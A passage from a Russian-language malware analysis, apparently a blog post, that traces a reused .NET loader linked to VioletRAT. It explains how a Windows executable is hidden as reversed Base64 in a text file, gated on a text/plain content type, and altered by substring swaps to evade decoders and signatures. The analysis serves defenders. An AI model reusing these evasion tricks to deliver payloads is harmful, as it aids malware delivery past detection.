    \u0418 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435, \u0447\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e \u044d\u0442\u043e\u0442 \u0441\u043b\u043e\u0439. \u041b\u043e\u0430\u0434\u0435\u0440 \u2014 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439. \u0422\u043e\u0442 \u0436\u0435 \u0441\u0430\u043c\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 Homees<\/code>, \u0442\u043e\u0442 \u0436\u0435 \u0441\u0430\u043c\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 runss<\/code>, \u0442\u043e\u0442 \u0436\u0435 \u0441\u0430\u043c\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432, \u0442\u043e\u0442 \u0436\u0435 \u0441\u0430\u043c\u044b\u0439 SmartAssembly \u2014 \u0432\u0441\u0451 \u044d\u0442\u043e \u0443\u0436\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u0437\u0431\u043e\u0440\u0435 SonicWall Capture Labs, \u0433\u0434\u0435 \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u0441 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 VioletRAT v6.5. \u0422\u0430\u043c, \u043f\u0440\u0430\u0432\u0434\u0430, \u0431\u044b\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435 \u2014 <<START>><\/code> \u0438 <<END>><\/code> \u0432\u043c\u0435\u0441\u0442\u043e <<STT>><\/code> \u0438 <<D>><\/code> \u2014 \u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0444\u0438\u043d\u0430\u043b. \u041d\u043e \u0441\u0430\u043c \u043b\u043e\u0430\u0434\u0435\u0440 \u2014 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435.<\/p>\n
    \u00a0\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0440\u0430\u0437\u0431\u043e\u0440 SonicWall \u2014 \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u0445\u043e\u0447\u0435\u0442 \u043a\u043e\u043f\u043d\u0443\u0442\u044c \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u0443 \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e: [VioletRAT v6.5: From .NET Loader to In-Memory RAT \u2014 A Deep Dive into the Infection Chain](https:\/\/www.sonicwall.com\/blog\/violetrat-v6-5-from-net-loader-to-in-memory-rat-a-deep-dive-into-the-infection-chain<\/a>).<\/p>\n
    \u00a0\u0427\u0442\u043e \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442 \u0434\u043b\u044f \u043d\u0430\u0441? \u0427\u0442\u043e \u043b\u043e\u0430\u0434\u0435\u0440 \u0445\u043e\u0434\u043e\u0432\u043e\u0439. \u0418\u043c \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u043d\u044b\u0435 \u043b\u044e\u0434\u0438 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a. \u042d\u0442\u043e \u043d\u0435 \u00ab\u043f\u043e\u0447\u0435\u0440\u043a \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b\u00bb, \u044d\u0442\u043e \u00ab\u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0432\u0437\u044f\u0442\u044c \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c\u00bb. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043b\u043e\u0430\u0434\u0435\u0440\u0443 \u043d\u0435\u043b\u044c\u0437\u044f \u2014 \u043f\u043e \u043d\u0435\u043c\u0443 \u043c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 \u043a\u0442\u043e-\u0442\u043e, \u043a\u0442\u043e \u0437\u043d\u0430\u0435\u0442, \u0433\u0434\u0435 \u0442\u0430\u043a\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0431\u0440\u0430\u0442\u044c. \u0410 \u044d\u0442\u043e, \u043a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u043a\u0440\u0443\u0433.<\/p>\n
    \u00a0\u0414\u0430\u043b\u044c\u0448\u0435 \u0441\u0431\u043e\u0440\u043a\u0430 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0430\u0434\u0440\u0435\u0441 \u0438\u0437 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430, \u0441\u0442\u0443\u0447\u0438\u0442\u0441\u044f \u043f\u043e \u043d\u0435\u043c\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b. \u041e \u0442\u043e\u043c, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c, \u2014 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0441\u043b\u043e\u0439.<\/p>\n
    \u0421\u043b\u043e\u0439 5. \u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u0437\u0430\u0434\u043e\u043c \u043d\u0430\u043f\u0435\u0440\u0451\u0434 \u0432 .txt<\/h2>\n
    \u0421\u0431\u043e\u0440\u043a\u0430 \u0438\u0437 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0441\u043b\u043e\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0430 \u0438\u0437\u0443\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441, \u043f\u0440\u0438\u043a\u043b\u0435\u0438\u043b\u0430 \u043a \u043d\u0435\u043c\u0443 http<\/code>, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 URL \u0438 \u043f\u043e\u0441\u0442\u0443\u0447\u0430\u043b\u0430\u0441\u044c \u043d\u0430\u0440\u0443\u0436\u0443. \u0421\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u0432\u0435\u0442\u0438\u043b. \u0418 \u043e\u0442\u0432\u0435\u0442 \u044d\u0442\u043e\u0442 \u2014 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b dbjdfmd.txt<\/code>, \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u043e\u043a\u043e\u043b\u043e \u0432\u043e\u0441\u044c\u043c\u0438\u0441\u043e\u0442 \u0432\u043e\u0441\u044c\u043c\u0438\u0434\u0435\u0441\u044f\u0442\u0438 \u0442\u044b\u0441\u044f\u0447 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432. \u041e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430. \u0412\u043e\u0441\u0435\u043c\u044c\u0441\u043e\u0442 \u0432\u043e\u0441\u0435\u043c\u044c\u0434\u0435\u0441\u044f\u0442 \u0442\u044b\u0441\u044f\u0447 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439 \u2014 \u044d\u0442\u043e \u0443\u0436\u0435 \u0441\u0430\u043c\u043e \u043f\u043e \u0441\u0435\u0431\u0435 \u043f\u043e\u0432\u043e\u0434 \u043d\u0430\u0441\u0442\u043e\u0440\u043e\u0436\u0438\u0442\u044c\u0441\u044f.<\/p>\n
    \"\u041d\u0430\u0447\u0430\u043b\u043e<\/p>\n
    \u041d\u0430\u0447\u0430\u043b\u043e dbjdfmd.txt<\/code> \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u043c \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435. \u0412\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0441\u0442\u0440\u043e\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 ==AAAA\u2026<\/code>. \u0412\u0435\u0441\u044c\u043c\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e<\/figcaption><\/div>\n<\/figure>\n
    \u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u2014 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043e\u0442\u0432\u0435\u0442\u0430. \u0421\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u0434\u0430\u0451\u0442 \u0444\u0430\u0439\u043b \u0441 Content-Type: text\/plain<\/code>. \u041d\u0435 application\/octet-stream<\/code>, \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u043e\u0436\u0438\u0434\u0430\u0442\u044c \u043e\u0442 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438, \u043d\u0435 image\/jpeg<\/code>, \u043d\u0435 \u0447\u0442\u043e-\u0442\u043e \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u044c\u043d\u043e\u0435. \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b.<\/p>\n
    \u0418 \u044d\u0442\u043e \u043d\u0435 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0441\u0442\u044c. \u041b\u043e\u0430\u0434\u0435\u0440 \u0438\u0437 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0441\u043b\u043e\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u043e\u0442\u0432\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u0434\u0430\u043b <\/strong>text\/plain<\/strong><\/code>. \u0415\u0441\u043b\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0434\u0440\u0443\u0433\u043e\u0439 \u2014 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0441\u0431\u043e\u0440\u043a\u0430 \u0438\u0434\u0451\u0442 \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u044d\u0442\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443.<\/p>\n
    \u0417\u0430\u0447\u0435\u043c? \u0417\u0430\u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u043d\u0430 \u043e\u0442\u0441\u0435\u043a\u0430\u0435\u0442 \u0434\u0432\u0435 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u043d\u0435\u0436\u0435\u043b\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0442\u0435\u043b\u0435\u0439. \u041f\u0435\u0440\u0432\u0430\u044f \u2014 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0438\u043b\u0438 \u0437\u0430\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0432\u0435\u0441\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u043a\u0441\u0438 \u0441 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 Content-Type. \u0412\u0442\u043e\u0440\u0430\u044f \u2014 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0435\u0448\u0430\u0442 \u00ab\u0430 \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043e\u0442\u0434\u0430\u0434\u0438\u043c \u043b\u043e\u0430\u0434\u0435\u0440\u0443 \u0441\u0432\u043e\u0439 \u0444\u0430\u0439\u043b \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043e\u043d \u0441\u0434\u0435\u043b\u0430\u0435\u0442\u00bb: \u0431\u0435\u0437 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u043b\u043e\u0430\u0434\u0435\u0440 \u043f\u0440\u043e\u0441\u0442\u043e \u043c\u043e\u043b\u0447\u0430 \u0443\u0439\u0434\u0451\u0442 \u043d\u0438 \u0441 \u0447\u0435\u043c.<\/p>\n
    \u042d\u0442\u043e \u043d\u0435 \u0437\u0430\u0449\u0438\u0442\u0430. \u042d\u0442\u043e \u0432\u0435\u0436\u043b\u0438\u0432\u043e\u0435 \u00ab\u0438\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0432\u044b \u043d\u0435 \u043d\u0430\u0448 \u043a\u043b\u0438\u0435\u043d\u0442\u00bb.<\/p>\n
    \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u043e \u0441\u0430\u043c\u0443 \u0441\u0442\u0440\u043e\u043a\u0443. \u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0441\u043c\u0443\u0442\u0438\u0442\u044c \u043b\u044e\u0431\u043e\u0433\u043e, \u043a\u0442\u043e \u0445\u043e\u0442\u044c \u0440\u0430\u0437 \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u0441 Base64, \u2014 \u043e\u043d\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 =<\/code>. \u0414\u0432\u0430 \u0437\u043d\u0430\u043a\u0430 \u0440\u0430\u0432\u0435\u043d\u0441\u0442\u0432\u0430, \u043f\u043e\u0442\u043e\u043c AAAA<\/code>, \u043f\u043e\u0442\u043e\u043c \u0434\u043b\u0438\u043d\u043d\u0430\u044f \u043c\u0435\u0448\u0430\u043d\u0438\u043d\u0430.<\/p>\n
    \u0412 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u043c Base64 \u043f\u0430\u0434\u0434\u0438\u043d\u0433 \u0441\u0442\u043e\u0438\u0442 \u0432 \u043a\u043e\u043d\u0446\u0435<\/strong>, \u0430 \u043d\u0435 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435. \u042d\u0442\u043e \u043d\u0435 \u043f\u043e\u0436\u0435\u043b\u0430\u043d\u0438\u0435, \u044d\u0442\u043e \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435: \u043f\u0430\u0434\u0434\u0438\u043d\u0433 \u0434\u043e\u0431\u0438\u0432\u0430\u0435\u0442 \u0434\u043b\u0438\u043d\u0443 \u0432\u044b\u0432\u043e\u0434\u0430 \u0434\u043e \u043a\u0440\u0430\u0442\u043d\u043e\u0439 \u0447\u0435\u0442\u044b\u0440\u0451\u043c, \u0430 \u0434\u043e\u0431\u0438\u0432\u0430\u0442\u044c \u043d\u0435\u0447\u0435\u0433\u043e \u0432 \u043d\u0430\u0447\u0430\u043b\u0435. \u0417\u043d\u0430\u0447\u0438\u0442, \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0440\u0430\u0437\u0443\u043c\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 \u2014 \u0441\u0442\u0440\u043e\u043a\u0443 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0438.<\/p>\n
    \u0420\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c. \u0418 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043d\u0430 \u043a\u043e\u043d\u0446\u0435 \u0442\u0443 \u0436\u0435 \u0441\u0430\u043c\u0443\u044e \u043a\u0430\u0440\u0442\u0438\u043d\u0443, \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0441\u0442\u0440\u043e\u043a\u0430 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 TVqQAAMAAAAEAAAA<\/code>. \u0414\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043d\u0435 \u0443\u0437\u043d\u0430\u0451\u0442: TVqQ<\/code> \u2014 \u044d\u0442\u043e Base64-\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0430\u0439\u0442\u043e\u0432 MZ\\x90\\x00<\/code>. \u0410 MZ<\/code> \u2014 \u044d\u0442\u043e \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 Windows. \u0414\u0432\u0430 \u0431\u0430\u0439\u0442\u0430 4D 5A<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u044f\u0442 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u043b\u044e\u0431\u043e\u0433\u043e .exe<\/code> \u0438\u043b\u0438 .dll<\/code> \u0435\u0449\u0451 \u0441 DOS-\u0432\u0440\u0435\u043c\u0451\u043d, \u2014 \u0438 \u043d\u0438\u043a\u0443\u0434\u0430 \u043d\u0435 \u0434\u0435\u0432\u0430\u044e\u0442\u0441\u044f \u0443\u0436\u0435 \u0441\u043e\u0440\u043e\u043a \u043b\u0435\u0442.<\/p>\n
    \u0422\u043e \u0435\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 Base64 \u043e\u0442 PE-\u0444\u0430\u0439\u043b\u0430, \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u0432\u0435\u0440\u043d\u0443\u0442\u044b\u0439 \u043d\u0430\u0438\u0437\u043d\u0430\u043d\u043a\u0443. \u041a\u0442\u043e-\u0442\u043e \u0432\u0437\u044f\u043b \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b \u0435\u0433\u043e \u0432 Base64, \u043f\u043e\u0442\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b \u0441\u0442\u0440\u043e\u043a\u0443 \u0437\u0430\u0434\u043e\u043c \u043d\u0430\u043f\u0435\u0440\u0451\u0434, \u043f\u043e\u043b\u043e\u0436\u0438\u043b \u0432 .txt<\/code> \u0438 \u043e\u0442\u0434\u0430\u043b \u043f\u043e HTTP \u0441 Content-Type: text\/plain<\/code>.<\/p>\n
    \"\u041a\u043e\u043d\u0435\u0446<\/p>\n
    \u041a\u043e\u043d\u0435\u0446 dbjdfmd.txt<\/code> \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u043c \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435, \u0432\u0438\u0434\u0435\u043d \u0445\u0432\u043e\u0441\u0442 \u0441\u0442\u0440\u043e\u043a\u0438 \u0441 \u2026AAMAAQqVT<\/code>.<\/figcaption><\/div>\n<\/figure>\n
    \u0414\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435. \u0412 \u043e\u0442\u0447\u0451\u0442\u0435 \u043f\u0440\u043e \u044d\u0442\u043e\u0442 \u0441\u043b\u043e\u0439 \u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u043e\u0434\u043d\u0443 \u0434\u0435\u0442\u0430\u043b\u044c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u0430 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0430\u0440\u0430\u043d\u043e\u0439\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u043b\u043e\u0430\u0434\u0435\u0440\u0430. \u0412 \u043b\u043e\u0430\u0434\u0435\u0440\u0435 \u0438\u0437 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0441\u043b\u043e\u044f \u043f\u0435\u0440\u0435\u0434 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c Base64 \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043c\u0435\u043d\u0430: \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u043a\u0438 fTre<\/code> \u0438 DTre<\/code> \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u043d\u0430 \/d<\/code>.<\/p>\n
    \u042d\u0442\u043e \u043d\u0435 \u043a\u0430\u043a\u0430\u044f-\u0442\u043e \u043a\u043e\u0441\u043c\u0435\u0442\u0438\u043a\u0430. \u042d\u0442\u043e \u043f\u043e\u0440\u0447\u0430 \u0430\u043b\u0444\u0430\u0432\u0438\u0442\u0430 Base64<\/strong>. \u041f\u0440\u044f\u043c\u043e\u043b\u0438\u043d\u0435\u0439\u043d\u044b\u0439 \u0434\u0435\u043a\u043e\u0434\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u043e\u0441\u0442\u043e \u0431\u0435\u0440\u0451\u0442 \u0441\u0442\u0440\u043e\u043a\u0443 \u0438 \u043f\u0440\u043e\u0431\u0443\u0435\u0442 \u0435\u0451 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0441\u043f\u043e\u0442\u044b\u043a\u0430\u0435\u0442\u0441\u044f \u0438 \u043f\u0430\u0434\u0430\u0435\u0442. \u041f\u0440\u044f\u043c\u043e\u043b\u0438\u043d\u0435\u0439\u043d\u0430\u044f \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0449\u0435\u0442 TVqQ<\/code> \u0432 \u0442\u0435\u043a\u0441\u0442\u0435, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 TVqQ<\/code> \u043d\u0435\u0442 \u2014 \u0435\u0441\u0442\u044c TVqU<\/code> \u0438\u043b\u0438 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0447\u0430\u0441\u0442\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0441\u043f\u043e\u0440\u0447\u0435\u043d\u0430.<\/p>\n
    \u0417\u0430\u043c\u0435\u043d\u0430 \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435<\/strong> \u0440\u0430\u0437\u0432\u043e\u0440\u043e\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0438. \u042d\u0442\u043e \u0432\u0430\u0436\u043d\u043e: \u0435\u0441\u043b\u0438 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0435\u0451 \u0434\u043e \u0440\u0430\u0437\u0432\u043e\u0440\u043e\u0442\u0430, \u043f\u043e\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u043d\u0435 \u0442\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b. \u0418 \u0435\u0441\u043b\u0438 \u043e\u0431 \u044d\u0442\u043e\u043c \u043d\u0435 \u0437\u043d\u0430\u0442\u044c, \u043b\u0435\u0433\u043a\u043e \u0440\u0435\u0448\u0438\u0442\u044c, \u0447\u0442\u043e \u0441\u0442\u0440\u043e\u043a\u0430 \u0431\u0438\u0442\u0430\u044f, \u0438 \u043e\u0442\u043b\u043e\u0436\u0438\u0442\u044c \u043e\u0431\u0440\u0430\u0437\u0435\u0446 \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u0443.<\/p>\n
    \u041f\u0440\u0438\u0447\u0451\u043c \u0432 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u043c \u043e\u0431\u0440\u0430\u0437\u0446\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043f\u0430\u043b \u043a\u043e \u043c\u043d\u0435, \u044d\u0442\u0430 \u0437\u0430\u043c\u0435\u043d\u0430, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u043d\u0435 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0430 \u2014 \u0445\u0432\u043e\u0441\u0442 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 TVqQ<\/code> \u0431\u0435\u0437 \u0432\u0441\u044f\u043a\u0438\u0445 fTre<\/code>. \u041d\u043e \u0434\u0435\u043a\u043e\u0434\u0435\u0440 \u0435\u0451 \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0434\u0435\u043b\u0430\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u043e\u0434 \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e.<\/p>\n
